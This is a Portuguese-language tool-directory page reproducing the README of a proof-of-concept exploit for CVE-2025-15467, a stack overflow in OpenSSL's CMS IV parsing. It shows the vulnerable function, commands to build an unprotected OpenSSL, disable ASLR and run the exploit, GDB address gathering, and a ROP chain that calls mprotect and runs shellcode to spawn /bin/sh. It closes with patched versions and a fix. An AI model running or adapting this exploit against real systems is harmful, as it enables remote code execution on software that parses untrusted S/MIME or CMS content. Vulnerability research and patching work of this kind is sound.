Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-15467 — PoC de Execução de Comando para estouro de buffer de pilha do OpenSSL CVE-2025-15467 | Kitploit
Ferramentas/GitHubGitHub/guiimoraes/cve-2025-15467
Análise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodeCriptografiaAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

PoC de Execução de Comando para estouro de buffer de pilha do OpenSSL CVE-2025-15467

Ver Repositório
153há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-15467: Estouro de Buffer na Pilha no CMS AuthEnvelopedData do OpenSSL

Visão Geral

CVE-2025-15467 é uma vulnerabilidade crítica de estouro de buffer na pilha no código de análise de CMS (Cryptographic Message Syntax) do OpenSSL. A vulnerabilidade existe na função evp_cipher_get_asn1_aead_params() ao processar vetores de inicialização (IVs) AES-GCM em estruturas CMS AuthEnvelopedData.

PropriedadeValor
CVE IDCVE-2025-15467
SeveridadeAlta
CVSS8.1+
Versões AfetadasOpenSSL 3.0 - 3.6 (antes dos patches)
ImpactoExecução Remota de Código (RCE)
Vetor de AtaqueRede (análise de CMS/S-MIME malicioso)
AutenticaçãoNenhuma necessária

Detalhes da Vulnerabilidade

Causa Raiz

A vulnerabilidade está localizada em crypto/evp/evp_lib.c:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

O Bug

  1. iv é um buffer de pilha fixo de 16 bytes (EVP_MAX_IV_LENGTH = 16)
  2. A primeira chamada a ossl_asn1_type_get_octetstring_int() retorna o comprimento do IV do arquivo
  3. A segunda chamada usa este comprimento (i) como parâmetro max_len
  4. Se i > 16, a função escreve além do buffer → Estouro de Buffer na Pilha

Exploração

O estouro ocorre durante a descriptografia do CMS ao analisar os parâmetros GCM. Um invasor pode:

  1. Criar um arquivo CMS AuthEnvelopedData malicioso com IV superdimensionado
  2. Estourar o buffer da pilha para sobrescrever o endereço de retorno
  3. Redirecionar a execução para shellcode controlado pelo invasor
  4. Alcançar Execução Remota de Código

Aplicações Afetadas

Qualquer aplicação que analise conteúdo CMS/PKCS#7 não confiável com cifras AEAD:

  • Clientes de e-mail processando mensagens S/MIME
  • Aplicações de assinatura de documentos
  • Ferramentas de gestão de certificados
  • Implementações de VPN/TLS usando CMS
  • Qualquer software que chame CMS_decrypt() ou funções similares

Prova de Conceito

Pré-requisitos

root@kitploit:~
# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

Ou manualmente:

root@kitploit:~
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

Gerar Certificado de Teste

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

Método 1: Modo Automático (Recomendado)

O exploit pode detectar automaticamente endereços quando o ASLR está desabilitado:

root@kitploit:~
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

Método 2: Endereços Manuais (via GDB)

Se a detecção automática falhar, obtenha endereços manualmente:

root@kitploit:~
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

Exemplo de saída:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

Em seguida, gere o exploit:

root@kitploit:~
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

Como o Exploit Funciona

  1. Patch no CMS Válido: Pega um arquivo CMS válido e substitui o IV de 12 bytes por uma carga maliciosa
  2. Estouro da Pilha: O IV superdimensionado estoura o buffer de 16 bytes, sobrescrevendo registradores salvos e o endereço de retorno
  3. Cadeia ROP: Usa Programação Orientada a Retorno para chamar mprotect() e tornar a pilha executável
  4. Execução do Shellcode: Após mprotect(), salta para o shellcode na pilha via gadget jmp rsp
  5. Shell: Executa execve("/bin/sh", NULL, NULL) para abrir um shell

Estrutura da Cadeia ROP

root@kitploit:~
[padding: 56 bytes para alcançar o RIP salvo]
[pop rdi; ret]        <- Define RDI = stack_page (para arg1 do mprotect)
[endereço stack_page]
[pop rsi; ret]        <- Define RSI = 0x1000 (para arg2 do mprotect)
[0x1000]
[pop rdx; pop rbx; ret] <- Define RDX = 7 (PROT_RWX para arg3 do mprotect)
[7]
[0]                   <- Dummy para RBX
[mprotect]            <- Chama mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Salta para o shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

Arquivos

ArquivoDescrição
exploit.pyExploit principal com modos automático e manual
setup.shScript para compilar OpenSSL vulnerável

Mitigações

Para Usuários

  1. Atualize o OpenSSL para versões corrigidas:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. Não processe conteúdo CMS/S-MIME não confiável até aplicar o patch

Para Desenvolvedores

  1. Valide o comprimento do IV antes de copiar:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. Use o max_len correto na segunda chamada:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

Cronograma

DataEvento
2025-12-14Vulnerabilidade reportada ao OpenSSL
2026-01-27Aviso de segurança publicado
2026-01-27Patches lançados

Referências

  • Aviso de Segurança do OpenSSL
  • CVE-2025-15467

Créditos

  • Guilherme Moraes (@guiimoraes) - Desenvolvimento do Exploit
  • Claude Opus 4.5 (Anthropic) - Pesquisa e Desenvolvimento Assistidos por IA

Aviso Legal

Esta prova de conceito é fornecida apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Use com responsabilidade.

Licença

Licença MIT - Consulte o arquivo LICENSE para obter detalhes.

Baixar ferramenta
README.mdEsta documentação
TECHNICAL.mdAnálise técnica aprofundada da vulnerabilidade